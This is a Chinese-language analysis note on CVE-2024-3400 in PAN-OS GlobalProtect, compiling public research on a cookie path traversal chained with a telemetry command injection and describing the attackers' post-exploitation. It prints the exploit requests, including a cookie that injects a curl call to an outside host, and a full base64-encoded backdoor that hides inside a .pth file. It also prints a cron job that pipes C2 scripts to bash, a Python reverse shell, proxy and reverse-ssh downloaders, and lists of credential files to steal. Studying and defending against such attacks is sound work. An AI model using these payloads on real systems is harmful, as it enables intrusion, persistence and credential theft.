CVE-2024-3400 PAN-OS 路径穿越&命令注入漏洞利用

本文整理了网上关于 PAN-OS 在野攻击漏洞 CVE-2024-3400 的各种技术细节信息,包括 Cookie 中的路径穿越漏洞Telemetry 中的命令注入漏洞的组合利用,以及攻击者 Post-Exploitation 相关的细节信息。此外,Bishop Fox 发现了新的命令注入漏洞,因此带有漏洞的系统仅仅是禁用 Telemetry 服务是没有用的。

因为没有漏洞复现环境,本文仅仅是基于信息整理写的一篇笔记,如果你关注的是如何搭建复现环境,可以参考 2.1 漏洞信息 中引用的文章链接。

0x01. 漏洞简介

Volexity Threat Research 在 2024-04-10 捕获的针对 PAN-OS 设备的在野攻击漏洞利用,Palo Alto Networks 在 2024-04-11 发布安全公告并分配 CVE 编号 CVE-2024-3400。

虽然只有一个 CVE 编号,但实际上在野攻击使用了两个漏洞:

  • SSL VPN Cookie 解析路径穿越漏洞,在未登录的情况下可以以 root 权限创建任意文件(空文件)
  • Telemetry 命令注入漏洞,配合上述文件名实现代码执行

组合利用即可达到无需登录即可实现远程任意代码执行的效果。

Telemetry 命令注入漏洞依赖于 Telemetry 服务的开启,但是也可以组合利用其他不需要前置条件的命令注入漏洞,比如 Bishop Fox 提到他们发现并报告了一个新的且不依赖于 Telemetry 的命令注入漏洞(当前暂无公开细节信息)。

0x02. 漏洞细节

2.1 漏洞信息

A command injection as a result of arbitrary file creation vulnerability in the GlobalProtect feature of Palo Alto Networks PAN-OS software for specific PAN-OS versions and distinct feature configurations may enable an unauthenticated attacker to execute arbitrary code with root privileges on the firewall.

研究这类漏洞最大的障碍就是复现环境搭建,因为厂商不对非客户开放虚拟机镜像下载权限 :-(

除了拿到虚拟机镜像外,获取 root 权限也是一个比较重要的操作,Rapid7 的文章给出了一个比较简单的解决方案:

  • 系统启动时对 /var 没有完整性校验
  • 挂载虚拟机磁盘在 /var/appweb/htdocs/unauth/php 插入一个 PHP WebShell
  • 编译一个 SUID-root 程序配合 PHP WebShell 以 root 权限执行命令
  • root 权限修改 /etc/passwd 实现 SSH 拿到 root Shell

类似的技巧在看雪上也有讨论分享:获取虚拟机的shell

SSL VPN 的页面 /ssl-vpn/hipreport.esp 在解析 Cookie SESSID 时存在路径穿越漏洞Path Traversal Vulnerability),且该页面不需要登录就可以访问。

POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: <Hostname>
Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/watchtowr.txt;

触发漏洞后,如果对应的文件不存在,将会以 root 权限创建一个空文件。

2.3 Telemetry 命令注入

PAN-OS 的 Telemetry 服务会定时将指定文件夹下的日志文件回传给 Palo Alto Networks 的服务器,而这里相关的一个 Python 文件 /p2/usr/local/bin/dt_curl 存在命令注入漏洞Command Injection Vulnerability),关键代码如下所示:

if source_ip_str is not None and source_ip_str != "": 
curl_cmd = "/usr/bin/curl -v -H \"Content-Type: application/octet-stream\" -X PUT \"%s\" --data-binary @%s --capath %s --interface %s" \
%(signedUrl, fname, capath, source_ip_str)
else:
curl_cmd = "/usr/bin/curl -v -H \"Content-Type: application/octet-stream\" -X PUT \"%s\" --data-binary @%s --capath %s" \
%(signedUrl, fname, capath)
if dbg:
logger.info("S2: XFILE: send_file: curl cmd: '%s'" %curl_cmd)
stat, rsp, err, pid = pansys(curl_cmd, shell=True, timeout=250)

留意 fnameshell=True

  • fname 即为本地文件路径,可以是前面 Cookie SESSID 解析路径穿越漏洞所创建的文件
  • pansys(curl_cmd, shell=True, timeout=250) 表明很有可能注入的参数会被当做命令来执行

pansys 最终调用 /p2/lib64/python3.6/site-packages/pansys/pansys.py 中的 pansys.dosys(),相关代码如下:

def dosys(self, command, close_fds=True, shell=False, timeout=30, first_wait=None):
"""call shell-command and either return its output or kill it
if it doesn't normally exit within timeout seconds"""

# Define dosys specific constants here
PANSYS_POST_SIGKILL_RETRY_COUNT = 5

# how long to pause between poll-readline-readline cycles
PANSYS_DOSYS_PAUSE = 0.1

# Use first_wait if time to complete is lengthy and can be estimated
if first_wait == None:
first_wait = PANSYS_DOSYS_PAUSE

# restrict the maximum possible dosys timeout
PANSYS_DOSYS_MAX_TIMEOUT = 23 * 60 * 60
# Can support upto 2GB per stream
out = StringIO()
err = StringIO()

try:
if shell:
cmd = command
else:
cmd = command.split()
except AttributeError: cmd = command

p = subprocess.Popen(cmd, stdout=subprocess.PIPE, bufsize=1, shell=shell,
stderr=subprocess.PIPE, close_fds=close_fds, universal_newlines=True)
timer = pansys_timer(timeout, PANSYS_DOSYS_MAX_TIMEOUT)

shell=True 最终会传递到 subprocess.Popen(),即创建一个 Shell 来执行命令,那么前面通过 fname 注入的代码就可以被执行了。

2.4 组合利用

POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: <Hostname>
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere`curl${IFS}x1.outboundhost.com`;

命令注入的常规操作技巧:

  • ` 用来执行命令
  • ${IFS} 用来绕过空格限制

2.5 其他说明

gorilla/sessions Pull Requests - Improve File System Path Handling #274 在讨论前面提到的路径穿越漏洞是否是 gorilla/sessions 自带的漏洞,结论是:

  • 并非 gorilla/sessions 的漏洞
  • 是 Palo Alto Networks 在实现 SessDiskStore 时存在的漏洞

The Palo Alto vulnerability described in https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/ seems to be in a different internal Store implementation called SessDiskStore, which works similarly (maybe derived from FilesystemStore) but does not authenticate the session ID.

此外,Telemetry 中的命令注入漏洞需要在开启 Telemetry 功能的情况下才能触发,最开始 Palo Alto Networks 的安全公告也说了这个前置条件,但是后面更新时又去掉了这个条件。

This issue is applicable only to PAN-OS 10.2, PAN-OS 11.0, and PAN-OS 11.1 firewalls configured with GlobalProtect gateway or GlobalProtect portal (or both). Device telemetry does not need to be enabled for PAN-OS firewalls to be exposed to attacks related to this vulnerability.

在未开启 Telemetry 的情况下是否能达到类似命令注入的利用效果?目前暂时没有公开的细节信息,但是 Bishop Fox 在文章 PAN-OS CVE-2024-3400: Patch Your Palo Alto Firewalls 提到他们发现了一个新的且不依赖于 Telemetry 的命令注入漏洞,在他们将细节报告给 Palo Alto Networks 之后,PAN 才更新了漏洞公告信息。

We developed bypasses for both recommended interim mitigations. We were able to successfully evade Threat Prevention signatures, and we identified a new command injection vulnerability which is exploitable even when device telemetry is disabled.

CVE-2024-3400 PANOS Disable Telemetry Never Works

0x03. Post-Exploitation

Volexity Threat Research 在文章 Zero-Day Exploitation of Unauthenticated Remote Code Execution Vulnerability in GlobalProtect (CVE-2024-3400) 中给出了攻击行动的一些具体细节信息。

3.1 update.py backdoor

Zero-day exploitation of a vulnerability in Palo Alto Global Protect firewall devices that allowed for unauthenticated remote code execution to take place. Initial exploitation was used to create a reverse shell, download tools, exfiltrate configuration data, and move laterally within the network.

update.py 可以从 MalwareBazaar 下载到,源码如下所示:

import os,base64,time
systempth = "/usr/lib/python3.6/site-packages/system.pth"
with open(systempth,'wb') as f:
f.write(b'''import base64;exec(base64.b64decode(b"CgoKZGVmIGNoZWNrKCk6CiAgICBpbXBvcnQgb3Msc3VicHJvY2Vzcyx0aW1lLHN5cwoKCiAgICBkZWYgc3RhcnRfcHJvY2VzcygpOgogICAgICAgIGltcG9ydCBiYXNlNjQKICAgICAgICBmdW5jdGlvbmNvZGUgPSBiIlpHVm1JRjlmYldGcGJpZ3BPZzBLSUNBZ0lHbHRjRzl5ZENCMGFISmxZV1JwYm1jc2RHbHRaU3h2Y3l4eVpTeGlZWE5sTmpRTkNnMEtEUW9OQ2lBZ0lDQmtaV1lnY21WemRHOXlaU2hqYzNOZmNHRjBhQ3hqYjI1MFpXNTBMR0YwYVcxbExHMTBhVzFsS1RvTkNpQWdJQ0FnSUNBZ2FXMXdiM0owSUc5ekxIUnBiV1VOQ2lBZ0lDQWdJQ0FnZEdsdFpTNXpiR1ZsY0NneE5Ta05DaUFnSUNBZ0lDQWdkMmwwYUNCdmNHVnVLR056YzE5d1lYUm9MQ2QzSnlrZ1lYTWdaam9OQ2lBZ0lDQWdJQ0FnSUNBZ0lHWXVkM0pwZEdVb1kyOXVkR1Z1ZENrTkNpQWdJQ0FnSUNBZ2IzTXVkWFJwYldVb1kzTnpYM0JoZEdnc0tHRjBhVzFsTEcxMGFXMWxLU2tOQ2lBZ0lDQWdJQ0FnRFFvTkNpQWdJQ0FnSUNBZ0RRb2dJQ0FnWkdWbUlGOWZhWE5mZDJodmJHVmZhRzkxY2lncE9nMEtJQ0FnSUNBZ0lDQm1jbTl0SUdSaGRHVjBhVzFsSUdsdGNHOXlkQ0JrWVhSbGRHbHRaUTBLSUNBZ0lDQWdJQ0JqZFhKeVpXNTBYM1JwYldVZ1BTQmtZWFJsZEdsdFpTNXViM2NvS1M1MGFXMWxLQ2tOQ2lBZ0lDQWdJQ0FnY21WMGRYSnVJR04xY25KbGJuUmZkR2x0WlM1dGFXNTFkR1VnSVQwZ01DQmhibVFnWTNWeWNtVnVkRjkwYVcxbExuTmxZMjl1WkNBOVBTQXdEUW9nSUNBZ1kzTnpYM0JoZEdnZ1BTQW5MM1poY2k5aGNIQjNaV0l2YzNOc2RuQnVaRzlqY3k5bmJHOWlZV3d0Y0hKdmRHVmpkQzl3YjNKMFlXd3ZZM056TDJKdmIzUnpkSEpoY0M1dGFXNHVZM056SncwS0lDQWdJR052Ym5SbGJuUWdQU0J2Y0dWdUtHTnpjMTl3WVhSb0tTNXlaV0ZrS0NrTkNpQWdJQ0JoZEdsdFpUMXZjeTV3WVhSb0xtZGxkR0YwYVcxbEtHTnpjMTl3WVhSb0tRMEtJQ0FnSUcxMGFXMWxQVzl6TG5CaGRHZ3VaMlYwYlhScGJXVW9ZM056WDNCaGRHZ3BEUW9OQ2lBZ0lDQjNhR2xzWlNCVWNuVmxPZzBLSUNBZ0lDQWdJQ0IwY25rNkRRb2dJQ0FnSUNBZ0lDQWdJQ0JUU0VWTVRGOVFRVlJVUlZKT0lEMGdKMmx0WjF4YktGdGhMWHBCTFZvd0xUa3JMejFkS3lsY1hTY05DaUFnSUNBZ0lDQWdJQ0FnSUd4cGJtVnpJRDBnVzEwTkNpQWdJQ0FnSUNBZ0lDQWdJRmRTU1ZSRlgwWk1RVWNnUFNCR1lXeHpaUTBLSUNBZ0lDQWdJQ0FnSUNBZ1ptOXlJR3hwYm1VZ2FXNGdiM0JsYmlnaUwzWmhjaTlzYjJjdmNHRnVMM056Ykhad2JsOXVaM2hmWlhKeWIzSXViRzluSWl4bGNuSnZjbk05SW1sbmJtOXlaU0lwTG5KbFlXUnNhVzVsY3lncE9nMEtJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lISnpkQ0E5SUhKbExuTmxZWEpqYUNoVFNFVk1URjlRUVZSVVJWSk9MR3hwYm1VcERRb2dJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ2FXWWdjbk4wT2cwS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQlhVa2xVUlY5R1RFRkhJRDBnVkhKMVpRMEtJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0JqYldRZ1BTQmlZWE5sTmpRdVlqWTBaR1ZqYjJSbEtISnpkQzVuY205MWNDZ3hLU2t1WkdWamIyUmxLQ2tOQ2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ2RISjVPZzBLSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdiM1YwY0hWMElEMGdiM011Y0c5d1pXNG9ZMjFrS1M1eVpXRmtLQ2tOQ2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJSGRwZEdnZ2IzQmxiaWhqYzNOZmNHRjBhQ3dpWVNJcElHRnpJR1k2RFFvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ1ppNTNjbWwwWlNnaUx5b2lLMjkxZEhCMWRDc2lLaThpS1EwS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQmxlR05sY0hRZ1JYaGpaWEIwYVc5dUlHRnpJR1U2RFFvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0J3WVhOekRRb05DaUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnWTI5dWRHbHVkV1VOQ2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0JzYVc1bGN5NWhjSEJsYm1Rb2JHbHVaU2tOQ2lBZ0lDQWdJQ0FnSUNBZ0lHbG1JRmRTU1ZSRlgwWk1RVWM2RFFvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnWVhScGJXVTliM011Y0dGMGFDNW5aWFJoZEdsdFpTZ2lMM1poY2k5c2IyY3ZjR0Z1TDNOemJIWndibDl1WjNoZlpYSnliM0l1Ykc5bklpa05DaUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQnRkR2x0WlQxdmN5NXdZWFJvTG1kbGRHMTBhVzFsS0NJdmRtRnlMMnh2Wnk5d1lXNHZjM05zZG5CdVgyNW5lRjlsY25KdmNpNXNiMmNpS1EwS0RRb2dJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ2QybDBhQ0J2Y0dWdUtDSXZkbUZ5TDJ4dlp5OXdZVzR2YzNOc2RuQnVYMjVuZUY5bGNuSnZjaTVzYjJjaUxDSjNJaWtnWVhNZ1pqb05DaUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnWmk1M2NtbDBaV3hwYm1WektHeHBibVZ6S1EwS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUc5ekxuVjBhVzFsS0NJdmRtRnlMMnh2Wnk5d1lXNHZjM05zZG5CdVgyNW5lRjlsY25KdmNpNXNiMmNpTENoaGRHbHRaU3h0ZEdsdFpTa3BEUW9nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdhVzF3YjNKMElIUm9jbVZoWkdsdVp3MEtJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lIUm9jbVZoWkdsdVp5NVVhSEpsWVdRb2RHRnlaMlYwUFhKbGMzUnZjbVVzWVhKbmN6MG9ZM056WDNCaGRHZ3NZMjl1ZEdWdWRDeGhkR2x0WlN4dGRHbHRaU2twTG5OMFlYSjBLQ2tOQ2lBZ0lDQWdJQ0FnWlhoalpYQjBPZzBLSUNBZ0lDQWdJQ0FnSUNBZ2NHRnpjdzBLSUNBZ0lDQWdJQ0IwYVcxbExuTnNaV1Z3S0RJcERRb05DZzBLYVcxd2IzSjBJSFJvY21WaFpHbHVaeXgwYVcxbERRcDBhSEpsWVdScGJtY3VWR2h5WldGa0tIUmhjbWRsZEQxZlgyMWhhVzRwTG5OMFlYSjBLQ2tOQ2cwSyIKICAgICAgICBleGVjKGJhc2U2NC5iNjRkZWNvZGUoZnVuY3Rpb25jb2RlKSkgICAgICAgIAoKICAgIGlmIGIiL3Vzci9sb2NhbC9iaW4vbW9uaXRvciBtcCIgaW4gb3BlbigiL3Byb2Mvc2VsZi9jbWRsaW5lIiwicmIiKS5yZWFkKCkucmVwbGFjZShiIlx4MDAiLGIiICIpIDoKICAgICAgICB0cnk6CiAgICAgICAgICAgIHN0YXJ0X3Byb2Nlc3MoKQogICAgICAgIGV4Y2VwdCBLZXlib2FyZEludGVycnVwdCBhcyBlOgogICAgICAgICAgICBwcmludChlKQogICAgICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICAgICAgcHJpbnQoZSkKICAgICAgICByZXR1cm4gVHJ1ZQogICAgZWxzZToKICAgICAgICByZXR1cm4gRmFsc2UgCgoKZGVmIHByb3RlY3QoKToKICAgIGltcG9ydCBvcyxzaWduYWwKICAgIHN5c3RlbXB0aCA9ICIvdXNyL2xpYi9weXRob24zLjYvc2l0ZS1wYWNrYWdlcy9zeXN0ZW0ucHRoIgogICAgY29udGVudCA9IG9wZW4oc3lzdGVtcHRoKS5yZWFkKCkKICAgICMgb3MudW5saW5rKF9fZmlsZV9fKQogICAgZGVmIHN0b3Aoc2lnLGZyYW1lKToKICAgICAgICBpZiBub3Qgb3MucGF0aC5leGlzdHMoc3lzdGVtcHRoKToKICAgICAgICAgICAgd2l0aCBvcGVuKHN5c3RlbXB0aCwidyIpIGFzIGY6CiAgICAgICAgICAgICAgICBmLndyaXRlKGNvbnRlbnQpCgogICAgc2lnbmFsLnNpZ25hbChzaWduYWwuU0lHVEVSTSxzdG9wKQoKCnByb3RlY3QoKQpjaGVjaygpCg=="))''')
atime=os.path.getatime(os.__file__)
mtime=os.path.getmtime(os.__file__)
os.utime(systempth,(atime,mtime))
os.unlink(__file__)
import glob
os.unlink(glob.glob("/opt/pancfg/mgmt/licenses/PA_VM`*")[0])

这里把一段 Python 代码写入了 /usr/lib/python3.6/site-packages/system.pth

The purpose of the update.py script is to deploy a backdoor to the following path: /usr/lib/python3.6/site-packages/system.pth. The backdoor, written in Python, starts by an import and its main content is stored as a base64 encoded blob. The .pth extension is used to append additional paths to a Python module. Starting with the release of Python 3.5, lines in .pth files beginning with the text “import” followed by a space or a tab, are executed as described in the official documentation. Therefore, by creating this file, each time any other code on the device attempts to import the module, the malicious code is executed.

位于 Python site-packages 目录下的 .pth 文件,可以用于指定 PATH 路径。例如,如果 .pth 文件包含以下内容,则每一行指定的路径将被添加到 sys.path 中。

C:\\Windows\\System32
D:\\

而如果 .pth 文件中的行以 import 加上空格或者制表符开头,则这一行的内容会被当做 Python 代码来执行。需要注意的是,每次 Python 进程启动时.pth 文件中的内容都会被解析,而非 Volexity 原文中所说的只有在 import .pth 模块时才会解析文件。

Base64 解码后的内容如下:

def check():
import os,subprocess,time,sys


def start_process():
import base64
functioncode = b"ZGVmIF9fbWFpbigpOg0KICAgIGltcG9ydCB0aHJlYWRpbmcsdGltZSxvcyxyZSxiYXNlNjQNCg0KDQoNCiAgICBkZWYgcmVzdG9yZShjc3NfcGF0aCxjb250ZW50LGF0aW1lLG10aW1lKToNCiAgICAgICAgaW1wb3J0IG9zLHRpbWUNCiAgICAgICAgdGltZS5zbGVlcCgxNSkNCiAgICAgICAgd2l0aCBvcGVuKGNzc19wYXRoLCd3JykgYXMgZjoNCiAgICAgICAgICAgIGYud3JpdGUoY29udGVudCkNCiAgICAgICAgb3MudXRpbWUoY3NzX3BhdGgsKGF0aW1lLG10aW1lKSkNCiAgICAgICAgDQoNCiAgICAgICAgDQogICAgZGVmIF9faXNfd2hvbGVfaG91cigpOg0KICAgICAgICBmcm9tIGRhdGV0aW1lIGltcG9ydCBkYXRldGltZQ0KICAgICAgICBjdXJyZW50X3RpbWUgPSBkYXRldGltZS5ub3coKS50aW1lKCkNCiAgICAgICAgcmV0dXJuIGN1cnJlbnRfdGltZS5taW51dGUgIT0gMCBhbmQgY3VycmVudF90aW1lLnNlY29uZCA9PSAwDQogICAgY3NzX3BhdGggPSAnL3Zhci9hcHB3ZWIvc3NsdnBuZG9jcy9nbG9iYWwtcHJvdGVjdC9wb3J0YWwvY3NzL2Jvb3RzdHJhcC5taW4uY3NzJw0KICAgIGNvbnRlbnQgPSBvcGVuKGNzc19wYXRoKS5yZWFkKCkNCiAgICBhdGltZT1vcy5wYXRoLmdldGF0aW1lKGNzc19wYXRoKQ0KICAgIG10aW1lPW9zLnBhdGguZ2V0bXRpbWUoY3NzX3BhdGgpDQoNCiAgICB3aGlsZSBUcnVlOg0KICAgICAgICB0cnk6DQogICAgICAgICAgICBTSEVMTF9QQVRURVJOID0gJ2ltZ1xbKFthLXpBLVowLTkrLz1dKylcXScNCiAgICAgICAgICAgIGxpbmVzID0gW10NCiAgICAgICAgICAgIFdSSVRFX0ZMQUcgPSBGYWxzZQ0KICAgICAgICAgICAgZm9yIGxpbmUgaW4gb3BlbigiL3Zhci9sb2cvcGFuL3NzbHZwbl9uZ3hfZXJyb3IubG9nIixlcnJvcnM9Imlnbm9yZSIpLnJlYWRsaW5lcygpOg0KICAgICAgICAgICAgICAgIHJzdCA9IHJlLnNlYXJjaChTSEVMTF9QQVRURVJOLGxpbmUpDQogICAgICAgICAgICAgICAgaWYgcnN0Og0KICAgICAgICAgICAgICAgICAgICBXUklURV9GTEFHID0gVHJ1ZQ0KICAgICAgICAgICAgICAgICAgICBjbWQgPSBiYXNlNjQuYjY0ZGVjb2RlKHJzdC5ncm91cCgxKSkuZGVjb2RlKCkNCiAgICAgICAgICAgICAgICAgICAgdHJ5Og0KICAgICAgICAgICAgICAgICAgICAgICAgb3V0cHV0ID0gb3MucG9wZW4oY21kKS5yZWFkKCkNCiAgICAgICAgICAgICAgICAgICAgICAgIHdpdGggb3Blbihjc3NfcGF0aCwiYSIpIGFzIGY6DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZi53cml0ZSgiLyoiK291dHB1dCsiKi8iKQ0KICAgICAgICAgICAgICAgICAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6DQogICAgICAgICAgICAgICAgICAgICAgICBwYXNzDQoNCiAgICAgICAgICAgICAgICAgICAgY29udGludWUNCiAgICAgICAgICAgICAgICBsaW5lcy5hcHBlbmQobGluZSkNCiAgICAgICAgICAgIGlmIFdSSVRFX0ZMQUc6DQogICAgICAgICAgICAgICAgYXRpbWU9b3MucGF0aC5nZXRhdGltZSgiL3Zhci9sb2cvcGFuL3NzbHZwbl9uZ3hfZXJyb3IubG9nIikNCiAgICAgICAgICAgICAgICBtdGltZT1vcy5wYXRoLmdldG10aW1lKCIvdmFyL2xvZy9wYW4vc3NsdnBuX25neF9lcnJvci5sb2ciKQ0KDQogICAgICAgICAgICAgICAgd2l0aCBvcGVuKCIvdmFyL2xvZy9wYW4vc3NsdnBuX25neF9lcnJvci5sb2ciLCJ3IikgYXMgZjoNCiAgICAgICAgICAgICAgICAgICAgZi53cml0ZWxpbmVzKGxpbmVzKQ0KICAgICAgICAgICAgICAgIG9zLnV0aW1lKCIvdmFyL2xvZy9wYW4vc3NsdnBuX25neF9lcnJvci5sb2ciLChhdGltZSxtdGltZSkpDQogICAgICAgICAgICAgICAgaW1wb3J0IHRocmVhZGluZw0KICAgICAgICAgICAgICAgIHRocmVhZGluZy5UaHJlYWQodGFyZ2V0PXJlc3RvcmUsYXJncz0oY3NzX3BhdGgsY29udGVudCxhdGltZSxtdGltZSkpLnN0YXJ0KCkNCiAgICAgICAgZXhjZXB0Og0KICAgICAgICAgICAgcGFzcw0KICAgICAgICB0aW1lLnNsZWVwKDIpDQoNCg0KaW1wb3J0IHRocmVhZGluZyx0aW1lDQp0aHJlYWRpbmcuVGhyZWFkKHRhcmdldD1fX21haW4pLnN0YXJ0KCkNCg0K"
exec(base64.b64decode(functioncode))

if b"/usr/local/bin/monitor mp" in open("/proc/self/cmdline","rb").read().replace(b"\x00",b" ") :
try:
start_process()
except KeyboardInterrupt as e:
print(e)
except Exception as e:
print(e)
return True
else:
return False


def protect():
import os,signal
systempth = "/usr/lib/python3.6/site-packages/system.pth"
content = open(systempth).read()
# os.unlink(__file__)
def stop(sig,frame):
if not os.path.exists(systempth):
with open(systempth,"w") as f:
f.write(content)

signal.signal(signal.SIGTERM,stop)


protect()
check()

这里定义了两个函数,protect 用于守护 /usr/lib/python3.6/site-packages/system.pth,而 check 的核心逻辑仍然是 Base64 编码的,解码后的内容如下:

def __main():
import threading,time,os,re,base64



def restore(css_path,content,atime,mtime):
import os,time
time.sleep(15)
with open(css_path,'w') as f:
f.write(content)
os.utime(css_path,(atime,mtime))



def __is_whole_hour():
from datetime import datetime
current_time = datetime.now().time()
return current_time.minute != 0 and current_time.second == 0
css_path = '/var/appweb/sslvpndocs/global-protect/portal/css/bootstrap.min.css'
content = open(css_path).read()
atime=os.path.getatime(css_path)
mtime=os.path.getmtime(css_path)

while True:
try:
SHELL_PATTERN = 'img\[([a-zA-Z0-9+/=]+)\]'
lines = []
WRITE_FLAG = False
for line in open("/var/log/pan/sslvpn_ngx_error.log",errors="ignore").readlines():
rst = re.search(SHELL_PATTERN,line)
if rst:
WRITE_FLAG = True
cmd = base64.b64decode(rst.group(1)).decode()
try:
output = os.popen(cmd).read()
with open(css_path,"a") as f:
f.write("/*"+output+"*/")
except Exception as e:
pass

continue
lines.append(line)
if WRITE_FLAG:
atime=os.path.getatime("/var/log/pan/sslvpn_ngx_error.log")
mtime=os.path.getmtime("/var/log/pan/sslvpn_ngx_error.log")

with open("/var/log/pan/sslvpn_ngx_error.log","w") as f:
f.writelines(lines)
os.utime("/var/log/pan/sslvpn_ngx_error.log",(atime,mtime))
import threading
threading.Thread(target=restore,args=(css_path,content,atime,mtime)).start()
except:
pass
time.sleep(2)


import threading,time
threading.Thread(target=__main).start()

这段代码用于建立一个后门来执行攻击者发送的命令:

  • 请求一个不存在的页面,请求参数中带入要执行的命令
  • 由于页面不存在,相关信息会被写入日志文件 /var/log/pan/sslvpn_ngx_error.log
  • 从日志文件 /var/log/pan/sslvpn_ngx_error.log 提取攻击者指定的命令
  • 通过 os.popen 执行命令,并将命令输出信息写入 CSS 文件 /var/appweb/sslvpndocs/global-protect/portal/css/bootstrap.min.css
  • 恢复日志文件 /var/log/pan/sslvpn_ngx_error.log 的文件内容(去除了带命令参数的内容)以及 atimemtime 属性
  • 恢复 CSS 文件 /var/appweb/sslvpndocs/global-protect/portal/css/bootstrap.min.css 的文件内容以及 atimemtime 属性
    • 但这里的 atimemtime 其实来自日志文件,并非之前保存的 CSS 文件的原始时间属性

攻击者可以在恢复文件前的 15 秒时间间隙内通过 CSS 文件读取命令执行结果。

3.2 patch cron file

创建 crontab 任务定期从 C2 服务器拉取名为 policy 的脚本执行。

if [ ! -f '/etc/cron.d/update' ]; then
printf "SHELL=/bin/bash\n\n* * * * * root wget -qO- http://172.233.228[.]93/policy | bash\n\n" > /etc/cron.d/update
fi

3.3 policy file

3.3.1 Version 1

Python 反弹 Shell。

#!/bin/bash
r=`ps -ef | grep "import sys,socket,os" | grep -v grep`
if [[ -z "$r" ]]; then
python -c "import sys,socket,os,pty;s=socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect(('172.233.228[.]93',443));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn('/bin/bash')"
fi

3.3.2 Version 2

uname -a 的输出信息写入 CSS 文件。

#!/bin/bash
rm -f /var/appweb/sslvpndocs/global-protect/*.css
cp /opt/pancfg/mgmt/saved-configs/running-config.xml /var/appweb/sslvpndocs/global-protect/<redacted>.css
uname -a > /var/appweb/sslvpndocs/global-protect/<redacted>.css

3.3.3 Version 3

清理 CSS 文件。

#!/bin/bash
rm -f /var/appweb/sslvpndocs/global-protect/*.css

3.3.4 Version 4

下载执行 GOST 代理。

#!/bin/bash
wget http://172.233.228[.]93/vpn_prot.gz -O /tmp/vpn_prot.gz
ls -l /tmp/vpn_prot.gz > /var/appweb/sslvpndocs/global-protect/u.css
gzip -d /tmp/vpn_prot.gz
chmod +x /tmp/vpn_prot
nohup /tmp/vpn_prot -L=socks5://127.0.0[.]1:8123 > /dev/null 2>&1 &
nohup /tmp/vpn_prot -L rtcp://127.0.0[.]1:8080/127.0.0[.]1:8123 -F ssh://user0:[password_redacted]@172.233.228[.]93:8443?ping=180 > /dev/null 2>&1 &

3.3.5 Version 5

Version 4 的改良版本(Base64 编码)。

#!/bin/bash
wget http://172.233.228[.]93/vpn.log -O /tmp/vpn.log
base64 -d /tmp/vpn.log > /tmp/vpn_prot.gz
ls -l /tmp/vpn_prot.gz > /var/appweb/sslvpndocs/global-protect/u.css
gzip -d /tmp/vpn_prot.gz
chmod +x /tmp/vpn_prot
nohup /tmp/vpn_prot -L=socks5://127.0.0[.]1:8123 > /dev/null 2>&1 &
nohup /tmp/vpn_prot -L rtcp://127.0.0[.]1:8080/127.0.0.1:8123 -F ssh://user0:[password_redacted]@172.233.228[.]93:8443?ping=180 > /dev/null 2>&1 &

3.3.6 Version 6

下载执行基于 SSH 的反弹 Shell reverse-ssh

#!/bin/bash
wget http://172.233.228[.]93/lowdp -O /tmp/lowdp
ls -l /tmp/lowdp > /var/appweb/sslvpndocs/global-protect/u.css
chmod +x /tmp/lowdp
nohup /tmp/lowdp -l -p 31289 > /dev/null 2>&1 &

3.4 Lateral Movement & Data theft

信息收集及窃取。

%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data
%LOCALAPPDATA%\Google\Chrome\User Data\Default\Network
%LOCALAPPDATA%\Google\Chrome\User Data\Default\Network\Cookies
%LOCALAPPDATA%\Google\Chrome\User Data\Local State
%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Login Data
%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Network
%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Network\Cookies
%LOCALAPPDATA%\Microsoft\Edge\User Data\Local State
%APPDATA%\Roaming\Microsoft\Protect\<SID> -> DPAPI Keys
%SystemRoot%\NTDS\ntds.dit
%SystemRoot%\System32\winevt\Logs\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx

0x04. References

  1. https://security.paloaltonetworks.com/CVE-2024-3400
  2. https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/
  3. https://www.sprocketsecurity.com/resources/patch-diffing-cve-2024-3400-from-a-palo-alto-ngfw-marketplace-ami
  4. https://attackerkb.com/topics/SSTk336Tmf/cve-2024-3400/rapid7-analysis
  5. https://github.com/gorilla/sessions/pull/274
  6. https://bishopfox.com/blog/pan-os-cve-2024-3400-patch-your-palo-alto-firewalls
  7. https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/
